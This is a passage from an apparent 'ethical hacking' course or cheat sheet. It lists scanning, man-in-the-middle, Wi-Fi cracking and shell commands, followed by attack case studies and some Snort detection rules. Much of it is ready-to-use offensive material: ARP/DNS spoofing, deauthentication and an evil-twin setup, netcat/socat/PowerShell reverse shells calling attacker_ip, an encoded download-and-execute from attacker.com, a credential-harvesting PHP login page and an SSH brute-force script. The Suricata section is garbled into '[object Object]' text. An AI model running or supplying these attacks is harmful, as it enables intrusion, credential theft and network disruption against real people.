nmap -A target.com                              # Aggressive (OS,
version, scripts)

# Evasion techniques
nmap -f target.com                              # Fragment packets
nmap -D decoy1,decoy2,ME target.com             # Decoy scan
nmap --source-port 53 target.com               # Source port
manipulation
nmap --data-length 25 target.com               # Random data padding

# Useful NSE scripts
nmap --script vuln target.com                   # Vulnerability
detection
nmap --script smb-vuln* target.com              # SMB vulnerabilities
nmap --script http-enum target.com              # HTTP enumeration
nmap --script dns-zone-transfer target.com # Zone transfer
```

Masscan (High-speed Port Scanner)

bash

```bash
# Basic scan
masscan -p1-10000 192.168.1.0/24 --rate=1000

# Specific ports
masscan -p80,443,22,21,23,25,53,135,139,445 10.0.0.0/8 --rate=10000

# Output formats
masscan -p80 10.0.0.0/8 -oJ output.json
masscan -p80 10.0.0.0/8 -oG output.gnmap

# Banner grabbing
masscan -p80 --banners 192.168.1.0/24

# IPv6 scanning
masscan -6 -p80 2001:db8::/32
```

Zmap (Internet-wide Scanning)

bash

```bash
# Scan entire IPv4 internet for port 80
zmap -p 80 -o results.txt

# Scan specific networks
echo "192.168.0.0/16" | zmap -p 443

# Output specific fields
zmap -p 22 -f "saddr,sport,dport" -o ssh_servers.csv
```

Traffic Analysis & Sniffing

Wireshark/Tshark Filters

bash

```bash
# Protocol filters
tcp                                         # TCP traffic only
```

```
udp                                         # UDP traffic only
icmp                                        # ICMP traffic only
dns                                         # DNS queries/responses
http                                        # HTTP traffic
ssl or tls                                  # SSL/TLS traffic

# IP address filters
ip.addr == 192.168.1.100                   # Traffic to/from IP
ip.src == 192.168.1.100                    # Traffic from IP
ip.dst == 192.168.1.100                    # Traffic to IP
ip.addr == 192.168.1.0/24                  # Subnet traffic

# Port filters
tcp.port == 80                              # TCP port 80
tcp.srcport == 80                           # Source port 80
tcp.dstport == 80                           # Destination port 80
portrange 1-1024                            # Well-known ports

# Advanced filters
tcp.flags.syn == 1                          # SYN packets
tcp.flags.rst == 1                          # RST packets
```

```
tcp.analysis.retransmission                    # Retransmissions
http.request.method == "POST"                  # HTTP POST requests
dns.qry.name contains "evil"                   # Suspicious DNS queries

# Combination filters
(tcp.port == 80 or tcp.port == 443) and ip.addr == 192.168.1.100
tcp.flags.syn == 1 and tcp.flags.ack == 0  # SYN scan detection
```

Tcpdump Commands

bash

```
# Basic capture
tcpdump -i eth0                                # Capture on interface
tcpdump -c 100                                 # Capture 100 packets
tcpdump -w capture.pcap                        # Write to file
tcpdump -r capture.pcap                        # Read from file

# Filters
tcpdump host 192.168.1.100                    # Specific host
tcpdump net 192.168.1.0/24                    # Network traffic
tcpdump port 80                                # Port 80 traffic
```

```bash
tcpdump tcp and port 22                    # SSH traffic

# Advanced options
tcpdump -A                                 # ASCII payload
tcpdump -X                                 # Hex and ASCII
tcpdump -v                                 # Verbose output
tcpdump -n                                 # Don't resolve names
tcpdump -s 0                               # Full packet capture
```

Man-in-the-Middle Tools

Ettercap

bash

```bash
# ARP poisoning
ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//

# DNS spoofing
echo "*.facebook.com A 192.168.1.200" >> etter.dns
ettercap -T -M arp:remote -P dns_spoof //
```

```bash
# Password collection
ettercap -T -M arp:remote -P autoadd //

# GUI mode
ettercap -G
```

Bettercap

bash

```bash
# Start interactive session
bettercap -iface eth0

# Basic commands
> net.probe on                                  # Network discovery
> net.show                                      # Show discovered hosts
> arp.spoof on                                  # Start ARP spoofing
> set arp.spoof.targets 192.168.1.100          # Target specific host
> https.proxy on                                # Start HTTPS proxy
> caplets.update                                # Update caplets
> caplets.show                                  # List available caplets
```

MITMf (Man-In-The-Middle Framework)

bash

```
# Basic MITM with credential harvesting
mitmf --arp --spoof --gateway 192.168.1.1 --target 192.168.1.100 --
inject --js-payload "alert('Hacked')"

# SMB authentication capture
mitmf --arp --spoof --gateway 192.168.1.1 --target 192.168.1.0/24 -
-responder --wpad
```

Wireless Hacking Tools

Aircrack-ng Suite

bash

```
# Monitor mode
airmon-ng check kill                          # Kill interfering
processes
```

```
airmon-ng start wlan0                          # Start monitor mode

# Network discovery
airodump-ng wlan0mon                           # Scan for networks
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Deauthentication attack
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# WEP cracking
aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF wlan0mon    # Fake
authentication
aireplay-ng -3 -b AA:BB:CC:DD:EE:FF wlan0mon      # ARP replay
attack
aircrack-ng capture*.cap                          # Crack WEP key

# WPA/WPA2 cracking
aircrack-ng -w wordlist.txt capture.cap           # Dictionary
attack
```

```bash
# Create custom wordlist
crunch 8 8 -t %%%%%%%% > custom_wordlist.txt     # 8-digit numbers
```

Reaver (WPS Attack)

bash

```bash
# WPS PIN attack
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -S

# Pixie dust attack
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vv
```

Wifite (Automated Wireless Auditing)

bash

```bash
# Scan and attack all networks
wifite

# Target specific network
```

```bash
wifite --bssid AA:BB:CC:DD:EE:FF

# WPS only attacks
wifite --wps-only

# Custom wordlist
wifite --dict custom_wordlist.txt
```

Web Proxy Tools

Burp Suite

bash

```bash
# Configure proxy (127.0.0.1:8080)
# Browser → Proxy Settings → HTTP Proxy: 127.0.0.1:8080

# Key features:
# - Intercept HTTP/HTTPS requests
# - Modify requests/responses
# - Automated scanning
```

```
# - Intruder module for attacks
# - Repeater for manual testing
```

OWASP ZAP

bash

```bash
# Start ZAP with API
zap.sh -daemon -port 8080 -config api.key=changeme

# Automated scan
zap-cli quick-scan http://target.com

# Spider website
zap-cli spider http://target.com

# Active scan
zap-cli active-scan http://target.com
```

Network Backdoors & Shells

Netcat (The Swiss Army Knife)

bash

```bash
# Basic listener (bind shell)
nc -l -p 4444 -e /bin/bash                    # Linux
nc -l -p 4444 -e cmd.exe                      # Windows

# Connect back (reverse shell)
nc attacker_ip 4444 -e /bin/bash

# File transfer
nc -l -p 4444 > received_file                  # Receiver
nc target_ip 4444 < file_to_send               # Sender

# Port scanning
nc -zv target.com 1-1000                       # TCP scan
nc -uzv target.com 1-1000                      # UDP scan

# Relay/proxy
```

```bash
mkfifo backpipe
nc -l 8080 0<backpipe | nc target.com 80 1>backpipe
```

Socat (Advanced Netcat)

bash

```bash
# TCP to TCP relay
socat TCP-LISTEN:8080,fork TCP:target.com:80

# SSL encrypted shell
# Server (attacker)
openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days
365 -out server.crt
cat server.key server.crt > server.pem
socat OPENSSL-LISTEN:4443,cert=server.pem,verify=0,fork
EXEC:/bin/bash

# Client (victim)
socat - OPENSSL:attacker_ip:4443,verify=0
```

```
# TTY shell upgrade
socat file:`tty`,raw,echo=0 tcp-listen:4444
```

PowerShell Shells

powershell

```
# PowerShell reverse shell one-liner
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "New-Object
System.Net.Sockets.TCPClient('attacker_ip',4444);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object
-TypeName System.Text.ASCIIEncoding).GetString($bytes,0,
$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =
$sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendby
te,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Encoded PowerShell command
$command = "IEX(New-Object
Net.WebClient).downloadString('http://attacker.com/shell.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
```

```
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encodedCommand
```

MODULE 12: REAL-WORLD ATTACK SCENARIOS ◆

Case Study 1: WannaCry Ransomware Propagation

Technical Details

text

```
Vulnerability: MS17-010 (EternalBlue)
Protocol: SMB v1
Ports: 139, 445
Attack Vector: Remote code execution via SMB buffer overflow
```

Attack Timeline

1. **Initial Infection**: Email attachment or drive-by download
2. **Local Privilege Escalation**: EternalBlue exploit
3. **Network Scanning**: Search for SMB-enabled hosts
4. **Lateral Movement**: Propagate via SMB to port 445
5. **Payload Deployment**: Ransomware encryption

Network Behavior

bash

```bash
# WannaCry network indicators
# Scanned for SMB services
nmap -p445 --script smb-vuln-ms17-010 192.168.1.0/24

# Exploit attempt pattern
# Source: [Random IP] → Destination: Port 445
# Payload: EternalBlue shellcode + WannaCry dropper
```

Defense Techniques

bash

```bash
# Detection rules (Snort/Suricata)
alert tcp any any -> any 445 (msg:"EternalBlue SMB Exploit";
content:"|00 00 00 31 00 02 53 4d 42 72 00 00 00 00|"; sid:1001;)

# Network segmentation
iptables -A INPUT -p tcp --dport 445 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 445 -j DROP

# Patch verification
systemctl stop smbd nmbd
wmic qfe list | findstr KB4013389
```

Case Study 2: Cloud Misconfigurations

AWS Security Group Misconfiguration

json

```
{
  "IpPermissions": [
    {
      "IpProtocol": "-1",
      "IpRanges": [
        {
          "CidrIp": "0.0.0.0/0",
          "Description": "Allow all traffic"
        }
      ]
    }
  ]
}
```

Attack Scenario

1. **Reconnaissance**: Shodan/Censys search for open cloud services
2. **Service Discovery**: Enumerate exposed databases, S3 buckets
3. **Authentication Bypass**: Default credentials, leaked keys
4. **Data Exfiltration**: Download sensitive data

Discovery Tools

bash

```bash
# S3 bucket enumeration
aws s3 ls s3://bucket-name --no-sign-request

# ElasticSearch discovery
curl -X GET "elasticsearch-host:9200/_cat/indices?v"

# MongoDB enumeration
mongo --host mongodb-host --eval
"db.adminCommand('listCollections')"

# Shodan queries
shodan search "mongodb server information" country:US
shodan search "elastic indices" port:9200
```

Case Study 3: BGP Hijacking Attack

Real Attack: YouTube Hijack (2008)

text

```
Normal Route:
YouTube (AS36561) → Tier 1 ISPs → Pakistan Telecom (AS17557)

Hijacked Route:
Pakistan Telecom announces: 208.65.153.0/24 (more specific)
Result: Global YouTube traffic routed to Pakistan
```

Attack Mechanics

text

```
1. BGP Route Announcement
   - Legitimate: 208.65.152.0/22 (YouTube's actual prefix)
   - Malicious: 208.65.153.0/24 (more specific, higher priority)

2. Route Propagation
   - Upstream ISPs accept more specific route
   - Traffic diverted to attacker's infrastructure
```

```
3. Impact
   - Service disruption
   - Traffic interception
   - Man-in-the-middle opportunities
```

Detection Methods

bash

```bash
# BGP monitoring tools
# RIPE RIS (Routing Information Service)
# RouteViews project data

# Detection indicators
# - Unexpected AS path changes
# - More specific prefix announcements
# - Geographic routing anomalies
```

Case Study 4: Public Wi-Fi Attacks

Evil Twin Attack Scenario

text

```
Legitimate AP: "Starbucks_WiFi" (MAC: AA:BB:CC:DD:EE:FF)
Evil Twin:     "Starbucks_WiFi" (MAC: 11:22:33:44:55:66)
Channel: Same as legitimate AP
Signal: Higher power to ensure connection
```

Attack Setup

bash

```bash
# 1. Deauth legitimate users
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# 2. Create fake AP
hostapd evil_twin.conf

# evil_twin.conf
interface=wlan1
driver=nl80211
ssid=Starbucks_WiFi
```

```
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0

# 3. DHCP server
dnsmasq --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100

# 4. Captive portal
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-
destination 192.168.1.1:80
python3 -m http.server 80
```

Credential Harvesting

html

```
<!-- Fake login portal -->
<form method="post" action="login.php">
  <input type="text" name="username" placeholder="Username">
  <input type="password" name="password" placeholder="Password">
```

```
  <input type="submit" value="Connect to WiFi">
</form>
```

php

```php
<?php
// login.php - Log credentials
$user = $_POST['username'];
$pass = $_POST['password'];
$log = "Username: $user, Password: $pass\n";
file_put_contents('harvested.txt', $log, FILE_APPEND);
header('Location: http://google.com');
?>
```

Case Study 5: DDoS via IoT Botnet

Mirai Botnet Analysis

text

```
Target Discovery:
- Telnet brute force (port 23)
- SSH brute force (port 22)
- HTTP basic auth (port 80)

Default Credentials:
admin:admin, root:root, admin:password
user:user, admin:, root:admin, etc.

Attack Types:
- UDP flood
- TCP SYN flood
- HTTP flood
- DNS amplification
```

Infection Process

bash

```bash
# 1. Port scanning for Telnet/SSH
masscan 0.0.0.0/0 -p23,22 --rate=10000
```

```
# 2. Brute force attempt
#!/bin/bash
for host in $(cat targets.txt); do
  for creds in admin:admin root:root admin:password; do
    username=$(echo $creds | cut -d: -f1)
    password=$(echo $creds | cut -d: -f2)

    sshpass -p "$password" ssh -o ConnectTimeout=5
"$username@$host" "exit" 2>/dev/null
    if [ $? -eq 0 ]; then
      echo "$host:$username:$password" >> compromised.txt
    fi
  done
done
```

Botnet Command Structure

text

```
C&C Server (Command & Control)
    |
```

```
    ├── Bot 1 (Router)
    ├── Bot 2 (DVR)
    ├── Bot 3 (Camera)
    └── Bot N (IoT device)

Commands:
- ATTACK <target> <duration> <method>
- DOWNLOAD <malware_url>
- UPDATE <new_c2_server>
```

MODULE 13: DEFENSE & DETECTION ◆

Network Monitoring & IDS Signatures

Snort Rules for Common Attacks

bash

```bash
# ARP spoofing detection
alert arp any any -> any any (msg:"ARP spoofing detected";
```

```
reference:cve,2002-0013; sid:1001;)

# TCP SYN flood detection
alert tcp any any -> any any (msg:"Possible SYN flood"; flags:S;
threshold:type threshold, track by_dst, count 100, seconds 10;
sid:1002;)

# DNS tunneling detection
alert udp any any -> any 53 (msg:"Possible DNS tunneling";
content:"|01 00|"; offset:2; depth:2; dsize:>100; sid:1003;)

# SMB EternalBlue attempt
alert tcp any any -> any 445 (msg:"EternalBlue SMB exploit
attempt"; content:"|00 00 00 31 ff 53 4d 42 72|"; offset:4;
sid:1004;)

# ICMP tunneling
alert icmp any any -> any any (msg:"ICMP tunneling detected";
dsize:>100; sid:1005;)
```

Suricata Rules

```
[object Object],
,[object Object], ,[object Object], ,[object Object], ,[object
Object], ,[object Object], ,[object Object], ,[object Object], ,
[object Object], ,[object Object], ,[object Object], ,[object
Object], ,[object Object], ,[object Object], ,[object Object], ,
[object Object],

,[object Object],
,[object Object], ,[object Object], ,[object Object], ,[object
Object], ,[object Object], ,[object Object], ,[object Object], ,
[object Object], ,[object Object], ,[object Object], ,[object
Object], ,[object Object], ,[object Object], ,[object Object],

,[object Object],
,[object Object],
```

🔥 Stay Connected with Cyber Mind Space — Learn, Discuss & Dominate Cybersecurity! 🔐 💡

📢 Telegram Channel (Updates & Resources):

https://t.me/cybermindspace

💬 Telegram Group (Ask & Network):
https://t.me/+LJvMwjAE6yA5YWQ1
📸 Instagram (Reels & Daily Tips):
https://instagram.com/cyber_mind_space
🎥 YouTube (Podcasts, Lives & Tutorials):
https://www.youtube.com/@CyberMindSpace
🔗 LinkedIn (Professional Profile):
https://linkedin.com/in/almadadali
💻 GitHub (Tools & Scripts):
https://github.com/ALMADADALI
📲 WhatsApp Channel (Cyber Alerts):
https://whatsapp.com/channel/0029VbAzQMU9hXF70zjpCu1Y
🗣 Discord Server (Voice & Community Chat):
https://discord.gg/qA3CqZ86hY
👻 Snapchat (Cyber Moments):
https://www.snapchat.com/add/cybermindspace?share_id=8WsnFshDsWg&locale=en-IN
🐦 Twitter (X) – Cybersecurity Thoughts:
https://x.com/cybermindspace?s=21

⚡ Subscribe, Follow & Stay Updated — Cybersecurity Never Sleeps! 🌐 🔐

#CyberMindSpace #EthicalHacking #Cybersecurity